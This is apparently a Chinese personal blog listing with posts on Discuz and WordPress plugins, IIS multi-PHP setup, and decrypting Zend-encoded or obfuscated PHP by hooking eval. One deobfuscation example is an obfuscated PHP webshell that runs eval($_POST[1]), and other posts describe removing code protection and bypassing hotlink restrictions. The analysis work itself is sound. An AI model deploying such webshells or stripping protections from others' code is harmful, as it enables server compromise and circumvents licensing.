作者: mine27

  • discuz插件-Mine视频解析心酸上线历程

    先附上discuz插件-Mine视频解析的地址: https://addon.dismall.com/?@mine_video.plugin 有兴趣有朋友可以去看下。

    3月初,从一位用户那里得知,dz应用中心易主了?换了新的应用中心平台,域名也换了,之前的所有应用都不在了,需要开发者重新上传。突然发现我连最新版本的插件程序都没有备份,于是到处各种找,最后在一位热心用户那里得到一个比较新的版本,感谢热心的用户。

    得到程序后就开始各种功能修复。因为这插件是2016年为解析接口开发的,到2017年10月份就免费开放,停止更新了。解析程序也没有更新,所以干脆放开解析接口的配置功能。之后就各种改,终于在3月27日初步完成,开心地提交上线了。

    不过审核的经过并不顺利,如下图:

    27号那天满怀激情的充了个会员,然后审核官很快就给我审了,以为能很快通过上线呢,因为到晚上7点46还有审,很开心。再后来提交了一次,以为太晚了审核官下班了,刚好也赶上周六,耐心等。。。

    一直等到3月31号,催了一下客服,好了,客服说正常,继续等一直到8号,我又问了客服,这次客服要了应用标识,可能觉得审得时间太长了吧?8号快18点的时候给审了,不过我都没报希望了,已经没有激情了,不审就不审吧,我都懒得去看有没有审核通过了,一直到13号下午我才发现,已经审了,不过没有通过。呵呵,其实没有通过的原因是dz编辑器的一个bug,我再次提交,说明了原因,很快就给通过了。

    到此终于上线了,新老用户也可以安装更新了,这不,当天晚上就有一位新用户安装了,不过安装时报错了,给我Q留言了。今天早上发现出问题了,于是乎,赶紧安装一下看哪里出问题。发现安装的时候插件语言包文件乱码了,第一次还以为是我的文件编码问题,于是赶紧检查了编码,好像没差,把文件编码都统一了一下,因为更新插件需要时间,先暂时把语言文件发给用户,先安装上了。

    感谢这位用户的信任,赶紧处理问题,收集了几个bug,下午一并上传提交审核,很快审核就过了,不过更新的时候还是乱码。找客服反应情况,到现在还没回复。

  • 搭建xcache的zend解密程序

    在某论坛上发现zend解密是由xcache的组件完成的,iis中部署了一个php5.4.9的环境,配置好zendloder.dll和php_xcache.dll后,就可以解密了。

    在配置环境的时候遇到一些问题,大部分是php版本和相应组件版本不符造成的。期间想搜索一些相关的搭建经验或者教程,发现百度上根本没有,所以只能自己动手慢慢摸索了。

    百度上有一个免费解zend加密的站,不过只能一个个文件解,不支持批量解密,问了一下批量解密还挺贵,所以决定在此记录一下过程:

    主要记录一下centos系统的编译安装过程,xcache的官方页面有相关说明( http://xcache.lighttpd.net/wiki/BuildingFromSource ),本人也是根据这里的步骤安装。

    zend解密需要安装cacher coverager  disassembler 模块,否则会报错Fatal error: Call to undefined function xcache_dasm_file 编译语句如下:

    ./configure –enable-xcache –enable-xcache-coverager –enable-xcache-disassembler –with-php-config=/www/server/php/54/bin/php-config

    编译成功,也修改了xcache.so的路径,但是phpinfo()显示根本没有相应模块,很是纳闷儿。

    最后把php卸载重新安装,xcache重新编译,就好了,有可能phpinfo已经被xcache给缓存了,造成上述问题。

  • PHP混淆解密之pack还原大法

    先看一段代码:

    图中代码已经格式化,可以看到有大量pack,当然,不只截图中的这些,手动替换的话,肯定要换到手软。当然了,肯定有自动替换的方法,mine就想到了一个比较笨的办法,下边详细说下。

    分析下代码,上边是pack参数的数组,存在Globals变量中,这些数组就不管了,我们直接把有pack的代码行,变成一个字符串,然后把pack部分分离出来,接到代码中,例如:

    echo'$GLOBALS["'.pack("H*", $GLOBALS[AAAAA____][0x5]).'"] = "'.pack("H*", $GLOBALS[AAAAA____][06]).'";';

    这样就会把这一行代码直接打印出来,打印出来后pack就被替换成真正的字符了,当然必须得自动化处理,代码如下:

    <?php
    $txt = file('1.php');//按行读取目标文件1.php
    foreach($txt as $t){
    	$t = str_replace("'", "\'", $t);//转义
    	$t = toPack($t);
    	echo 'echo \''.$t.'\';';
    }
    
    function toPack($t){
    	preg_match_all('/pack\([^\)]*?\)/s', $t, $pack);
    	if($pack){
    		foreach($pack[0] as $p){
    			$t = str_replace($p, '"\'.'.$p.'.\'"', $t);
    		}
    	}
    	return $t;
    }
    ?>

    经过处理后,输出的代码要替换原来的文件内容,运行一遍,才会得到去除pack的代码。

    当然了,利用这种方法还能还原一些全局变量或者其他的加密标签,你可以改造得更智能,更自动化,本文仅分享一下思路,希望对你有所启发。

  • PhpParser还可以用来解密

    接了一个解密的单子,看了下程序代码,有大量的goto语句。刚开始以为可以用正则匹配并还原代码位置,就解决问题了,到了真正处理的时候,发现这样根本行不通。网上查了很多,都没有现成的解密工具。

    这种其实也不算是加密,只是打乱了代码的顺序,理论上是可以手动还原的,但实际上,手动的话,会让你感到怀疑人生,因为代码量太大了。

    发现有人用PhpParser来解密,这个工具本来是用来格式化php代码的。

    以下内容来自网络:

    单纯的if语句:这种单一存在的语句在混淆器中处理后,其中的condition会被反向 也就是条件反向的处理,所以处理if语句前需要遍历一次语法树进行condition的反向还原,即de_cond
    
    复杂的if语句:比如if..else..和if..elseif..else等,这种if语句的处理只需正常处理即可
    
    嵌套if语句:编程过程中,语句的嵌套是不可少的,而在混淆器处理过的代码中是没有嵌套可言的,一切都是在外层存在的,在处理if过程中,加入一个节点嗅探,如果嗅探到所嵌套的节点有if语法,则让本次混淆节点再走一遍综合if解析 ([funcion parse_if_stmt])
    
    正常stmt混淆:比如echo "hello world";会被混淆成label xxxx: echo "hello world"; goto next_label;,也就是三个语法块为一条语句,然后使用这三个语法点构成一个混淆节点,类似$tunk[] = array($label,$stmt,$goto),其他语句相同
    
    这里还原难度最大的还是if语句的还原,以为还涉及嵌套的if。下面是if语句的语句处理点:
    
    解析elseif语法:如果当前节点的下一个节点为if语法块,则进行elseif的还原
    
    解析else语法:如果遇到的混淆中间节点为goto的,则认定为else语句结束点并进行结束处理。
    
    检测是否为跳点:由于混淆器内部会有多余的label进行干扰,需要构建一个跳点检测器进行跳点处理,处理foreach等loop语句的干扰节点,遇到这些节点后将跳过一个混淆节点。
    
    建立节点监听器:最后需要有一个语法树的traverse,你可以建立一个自己的节点监听器,监听过来的语法,然后处理如function、ClassMethod、TryCatch等节点的混淆语法树。
    
    最后说说我写解密脚本过程遇到的问题吧。
    
    对于上面提到的正常的stmt混淆的还原还是比较简单的,写脚本的第一天就完成了这一步。
    
    最让人头疼的还是处理if语句,外层的还原还是很简单的,但是遇到嵌套的处理时就非常头大了,我一共用了3天写这个脚本,其中两天都是在处理if语句。
  • 解密加密的PHP程序

    PHP代码混淆

    PHP代码混淆一般来说有两种方法:

    • 需要PHP扩展
    • 无需PHP扩展

    本文我们主要讲解无需PHP扩展的代码混淆的解密。大多数的无需扩展的php代码混淆原理上都是使用eval进行代码的执行。如果我们能够得到eval函数的参数,即可获得解密后的代码。

    不过,一般来说PHP的混淆都会通过多次eval来还原并执行php代码,所以我们可以通过hook PHP的eval函数来打印其参数来解密代码。

    hook eval

    PHP中的eval函数在Zend里需要调用zend_compile_string函数,我们可以通过调试看看zend_compile_string函数。

    user@ubuntu ~/php-5.6.35/Zend ~ grep -rn “zend_compile_string” *
    zend.c:693: zend_compile_string = compile_string;

    我们发现zend_compile_string函数其实就是compile_string函数。所以我们可以通过写一个简单的PHP代码,看能否在compile_string中获取到eval参数的值

    <?php
    eval(“phpinfo();”);
    ?>

    首先我们编译一下下载好的PHP。注意,由于我们后面要进行调试,所以要在编译时加上-g参数,加调试符号。

    ./configure CFLAGS=“-g” CXXFLAGS=“-g”
    make -j16

    接着我们使用gdb调试php程序。首先设置程序的参数,且在compile_string函数下好断点。

    gdb-peda$ set args xxx.php
    gdb-peda$ b compile_string
    Breakpoint 1 at 0x6b4480: file Zend/zend_language_scanner.l, line 716.

    然后让php程序跑起来

    发现程序断下来后,我们发现compile_string的第一个参数source_string为php代码中eval函数的参数在Zend中的结构——即zval_structsource_string.value.str.val即为参数的字符串形式。

    • 通过修改compile_string函数来打印eval的参数,代码如下
    if (Z_TYPE_P(source_string) == IS_STRING) // 判断是否为string类型
    {
    len = Z_STRLEN_P(source_string); // 求string的长度
    str = estrndup(Z_STRVAL_P(source_string), len); // 拷贝到str中
    printf(“\n==================DUMP_CODE====================\n”);
    printf(“%s\n”, str); //打印
    printf(“\n==================DUMP_CODE====================\n”);
    }

    修改好之后重新编译php,运行被加密的php代码

    解密后的PHP代码如下

    可以看到已经完全还原了被混淆的PHP代码

    • 通过编写php扩展来解密php脚本

    编写php扩展的原理就是用我们的函数hook zend_compile_string函数,将函数的参数打印出来后再交还给zend_compile_string函数执行即可。

    ./ext/ext_skel –extname=decrypt_code

    首先,我们写一个自己的hook函数。此函数的功能就是判断eval函数的参数是否为字符串,如果不是,则按原路径执行;如果是,则将参数打印出来后按照原路径执行。

    static zend_op_array *decrypt_code_compile_string(zval *source_string, char *filename TSRMLS_DC)
    {
    int len;
    char *str;
    if (Z_TYPE_P(source_string) != IS_STRING)
    {
    return orig_zend_compile_string(source_string, filename TSRMLS_CC);
    }
    len = Z_STRLEN_P(source_string);
    str = estrndup(Z_STRVAL_P(source_string), len);
    printf(“\n==========DUMP===========\n”);
    printf(“%s”, str);
    printf(“\n==========DUMP===========\n”);
    return orig_zend_compile_string(source_string, filename TSRMLS_CC);
    }

    接着,我们修改PHP扩展加载函数

    PHP_MINIT_FUNCTION(decrypt_code)
    {
    /* If you have INI entries, uncomment these lines
    REGISTER_INI_ENTRIES();
    */
    orig_compile_string = zend_compile_string;
    zend_compile_string = decrypt_code_compile_string;
    return SUCCESS;
    }

    此函数的功能就是保存zend_compile_string函数的地址,接着用我们的hook函数替换zend_compile_string的地址。当eval函数调用zend_compile_string时,就调用了我们的hook函数。

    最后,我们修改PHP扩展的卸载函数

    PHP_MSHUTDOWN_FUNCTION(decrypt_code)
    {
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    zend_compile_string = orig_zend_compile_string;
    return SUCCESS;
    }

    当这个扩展被卸载的时候将函数的hook解除。

    最后,编译我们的扩展

    phpize
    ./configure –with-php-config=/usr/local/php/bin/php-config
    make

    接着,在php.ini中加上我们的扩展。

    extension=decrypt_code.so

    运行此脚本也可得到同样的输出。

    0x04 利用其他函数还原的解密

    其实,混淆代码的解密就是类似于代码执行。最终还是要执行PHP代码,而执行PHP代码的方法很多,除了eval函数还有assertcall_user_funccall_user_func_arraycreate_function等。这些函数的底层也是调用了zend_compile_string,所以也可以利用hook eval来还原混淆后的加密代码。

    0x05 Example

    一段示例代码。

    <?php
    $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF(“”,$_cC);@$_();
    ?>

    运行一下,得到解密后的结果。

    ./php 3.php
     
    =====================DUMP_CODE========================
    function __lambda_func(){eval($_POST[1]);}
     
    =====================DUMP_CODE========================
  • IIS7 IIS8 中php多版本共存的方法

    今天在本地安装wordpress-5.3.2时,发现这个版本好像不支持PHP5.3.5?具体没有云研究,果断的从百度上查了php多版本共存的方法,摘抄如下:

    下载解压放到某个目录,比如:

    E:\php7.0.3\

    E:\php5.5.30\

    E:\php5.2.6\

    php.ini的配置这里就不说了,原来该怎么设置怎么设置。

     

     

    步骤

    1.打开IIS 7。 IIS最上层>处理程序映射

     

    2.右边 添加模块映射

     

     

    3.在弹出的窗口中

    路径写*.php 模块选FastCgiModule,可执行文件是php目录下的php-cgi.exe

    名称随便填,为了好记可以填php版本名称,然后确定。

     

     

    再添加几次 把多个版本的php都添加进去

     

    4.由于是点IIS最上层添加,而不是点某个网站添加,所以每个网站目录不会自动生成一个web.config文件。我们可以自己添加一个utf-8编码的web.config文件放到网站目录下,用于调用不同版本的php,不管有没有多个版本的php,都需要这么一个web.config文件,内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
        <system.webServer>
            <handlers>
                <remove name="php5.5.30" />
                <remove name="php7.0.3" />
                <remove name="php5.2.6" />
                <add name="php5.2.6" path="*.php" verb="*" modules="FastCgiModule" scriptProcessor="E:\php7.0.3\php-cgi.exe" resourceType="Unspecified" requireAccess="Script" />
            </handlers>
        </system.webServer>
    </configuration>

    主要就是scriptProcessor(脚本处理器)路径不同,决定了调用了不同版本的php。

    <remove name=”php5.5.30″ />也很重要,先把所有版本的php都移除一遍(这里的”name=” 就是之前填的名称)。再add name=,确保调到的是需要的版本。

     

    注意:如果这边remove只有3个,而实际上你加了5个版本的php的话,为了确保调用到正确的版本,应该把另两个加进去。

     

    然后就可以了。有新站的话就把这个web.config拷到站点的目录里,再修改下scriptProcessor的路径就可以了。

     

     

    我这几个php共用的是一个MySql,版本是5.6.24,能正常使用。

     

    由于php不同版本间是不怎么向后兼容的,比如php5.6以后不支持mysql_*函数连接mysql数据库,只支持mysqli_*和pdo_*等,所以多版本共存还是比较有意义的。

     

     

  • WordPress的Gutenberg(古腾堡)编辑器

    WordPress的新编辑器,从Wordpress5.0版本开始,已经成为默认编辑器。不习惯的话可以下载官方提供的 Classic Editor 插件,就可以使用原来的经典编辑器了。

    不过,Gutenberg编辑器使用起来还是不错的,第一次使用就能上手。

    那么问题了,这里边的区块怎么自定义呢?我是之前做了一个编辑器增强的插件,用tinymce开发的,在Gutenberg编辑器根本不起作用,所以现在得研究下这个新编辑器,看下怎么新增区块。

  • wordpress万能视频解析插件Mine-Video

    本插件已更新, 说明和下载地址如下

    捡回3年前写的一个wordpress视频解析插件(Mine-Video)。

    之前更新这个插件是在ckplayer论坛,地址已经不在了,不再贴出。

    之前更新了几版就停止了,那时用的人还挺多;后来因为工作原因,就没有再更新了。可能是免费插件没有收入来源,工作一忙也就没更新了?可能是吧。

    现在捡回继续更新,希望还能对各位站长有用。

    之前的更新日志和使用说明还保留在ckplayer论坛,插件也能下载到,有需要的亲请稳步上方ckplayer链接。

    之后的更新会在此文章下更新,敬请关注。

    插件已经更新了多次,并且已经上传到wp插件库,有需要的移步下方链接

    https://wordpress.org/plugins/mine-video/

  • 3个有效方案解决新浪图床限制外链图片403不显示

    3个有效方案解决新浪图床限制外链图片403不显示

    方法1:

    直接使用http链接 如 http://wx3.sinaimg.cn/mw690/6107c3b3gy1g9qfqwyl1kj20ah0mmt9g.jpg
    这种目前来说还是可以正常显示的。

    方法2:在head标签内加上下面代码解决:

    <meta name="referrer" content="no-referrer" />
    

    方法3:将图片链接的sinaimg.cn改成 sinaimg.in

    以上就是目前来说比较有效果的解决方案了,不过建议各位站长还是尽快将所有外链图片下载上传到自己本地服务器或者oss吧。如果到时彻底限制了,图片拿不下来了那就真的Game Over啦。还是尽早行动起来吧